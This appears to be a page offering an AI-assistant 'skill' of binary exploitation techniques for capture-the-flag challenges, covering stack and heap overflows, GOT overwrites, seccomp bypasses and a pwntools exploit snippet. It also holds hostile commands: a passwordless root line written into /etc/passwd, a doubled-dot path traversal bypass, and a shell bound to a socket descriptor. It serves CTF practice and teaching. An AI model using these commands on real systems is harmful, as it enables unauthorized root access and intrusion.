Binary exploitation (pwn) techniques for CTF challenges. Use when exploiting buffer overflows, format strings, heap vulnerabilities, race conditions, or kernel bugs.
Instalar com Codex ou Claude Copie este prompt, cole no Codex, Claude ou outro assistente e deixe que ele revise a página da skill e instale para você.
Um comando direto ignora o prompt de revisão. Verifique a origem antes de executá-lo.
Binary exploitation (pwn) techniques for CTF challenges. Use when exploiting buffer overflows, format strings, heap vulnerabilities, race conditions, or kernel bugs.
# Change /etc/passwd permissions via custom deviceecho"b4ckd00r:/etc/passwd:511" > /dev/backdoor
# 511 decimal = 0777 octal (rwx for all)# Now modify passwd to get rootecho"root::0:0:root:/root:/bin/sh" > /etc/passwd
su root
Privilege escalation via passwd modification:
Make /etc/passwd writable via the backdoor
Replace root line with root::0:0:root:/root:/bin/sh (no password)
su root without password prompt
Busybox/Restricted Shell Escalation
When in restricted environment without sudo:
Find writable paths via character devices
Target system files: /etc/passwd, /etc/shadow, /etc/sudoers
Modify permissions then content to gain root
Protection Implications for Exploit Strategy
Protection
Status
Implication
PIE
Disabled
All addresses (GOT, PLT, functions) are fixed - direct overwrites work
RELRO
Partial
GOT is writable - GOT overwrite attacks possible
RELRO
Full
GOT is read-only - need alternative targets (hooks, vtables, return addr)
NX
Enabled
Can't execute shellcode on stack/heap - use ROP or ret2win
Canary
Present
Stack smash detected - need leak or avoid stack overflow (use heap)
Quick decision tree:
Partial RELRO + No PIE → GOT overwrite (easiest, use fixed addresses)
Full RELRO → target __free_hook, __malloc_hook (glibc < 2.34), or return addresses
Stack canary present → prefer heap-based attacks or leak canary first
Stack Buffer Overflow
Find offset to return address: cyclic 200 then cyclic -l <value>
Check protections: checksec --file=binary
No PIE + No canary = direct ROP
Canary leak via format string or partial overwrite
ret2win with Parameter (Magic Value Check)
Pattern: Win function checks argument against magic value before printing flag.
// Common pattern in disassemblyvoidwin(long arg) {
if (arg == 0x1337c0decafebeef) { // Magic check// Open and print flag
}
}
Pattern: Menu-based programs with create/modify/delete/view operations on structs containing both data buffers and pointers. The modify/edit function reads more bytes than the data buffer, overflowing into adjacent pointer fields.
Struct layout example:
structStudent {char name[36]; // offset 0x00 - data bufferint *grade_ptr; // offset 0x24 - pointer to separate allocationfloat gpa; // offset 0x28
}; // total: 0x2c (44 bytes)
Exploitation:
from pwn import *
WIN = 0x08049316
GOT_TARGET = 0x0804c00c# printf@GOT# 1. Create object (allocates struct + sub-allocations)
create_student("AAAA", 5, 3.5)
# 2. Modify name - overflow into pointer field with GOT address
payload = b'A' * 36 + p32(GOT_TARGET) # 36 bytes padding + GOT addr
modify_name(0, payload)
# 3. Modify grade - scanf("%d", corrupted_ptr) writes to GOT
modify_grade(0, str(WIN)) # Writes win addr as int to GOT entry# 4. Trigger overwritten function -> jumps to win
GOT target selection strategy:
Identify which libc functions the win function calls internally
Do NOT overwrite GOT entries for functions used by win (causes infinite recursion/crash)
Prefer functions called in the main loop AFTER the write
Alternative syscalls when seccomp blocks open()/read():
openat() (257), openat2() (437, often missed!), sendfile() (40), readv()/writev()
Check rules:seccomp-tools dump ./binary
See advanced.md for: conditional buffer address restrictions, shellcode construction without relocations (call/pop trick), seccomp analysis from disassembly, scmp_arg_cmp struct layout.
Stack Shellcode with Input Reversal
Pattern (Scarecode): Binary reverses input buffer before returning.
Strategy:
Leak address via info-leak command (bypass PIE)
Find sub rsp, 0x10; jmp *%rsp gadget
Pre-reverse shellcode and RIP overwrite bytes
Use partial 6-byte RIP overwrite (avoids null bytes from canonical addresses)
Place trampoline (jmp short) to hop back into NOP sled + shellcode
Null-byte avoidance with scanf("%s"):
Can't embed \x00 in payload
Use partial pointer overwrite (6 bytes) — top 2 bytes match since same mapping
Use short jumps and NOP sleds instead of multi-address ROP chains
Path Traversal Sanitizer Bypass
Pattern (Galactic Archives): Sanitizer skips character after finding banned char.
# Sanitizer removes '.' and '/' but skips next char after match# ../../etc/passwd → bypass with doubled chars:"....//....//etc//passwd"# Each '..' becomes '....' (first '.' caught, second skipped, third caught, fourth survives)
Flag via /proc/self/fd/N:
If binary opens flag file but doesn't close fd, read via /proc/self/fd/3
fd 0=stdin, 1=stdout, 2=stderr, 3=first opened file
Global Buffer Overflow (CSV Injection)
Pattern (Spreadsheet): Adjacent global variables exploitable via overflow.
Exploitation:
Identify global array adjacent to filename pointer in memory
Overflow array bounds by injecting extra delimiters (commas in CSV)
Overflowed pointer lands on filename variable
Change filename to flag.txt, then trigger read operation
# Edit last cell with comma-separated overflow
edit_cell("J10", "whatever,flag.txt")
save() # CSV row now has 11 columns
load() # Column 11 overwrites savefile pointer with ptr to "flag.txt"
load() # Now reads flag.txt into spreadsheet
print_spreadsheet() # Shows flag
Shell Tricks
File descriptor redirection (no reverse shell needed):
# Redirect stdin/stdout to client socket (fd 3 common for network)exec <&3; sh >&3 2>&3
# Or as single command stringexec<&3;sh>&3
Network servers often have client connection on fd 3
Avoids firewall issues with outbound connections
Works when you have command exec but limited chars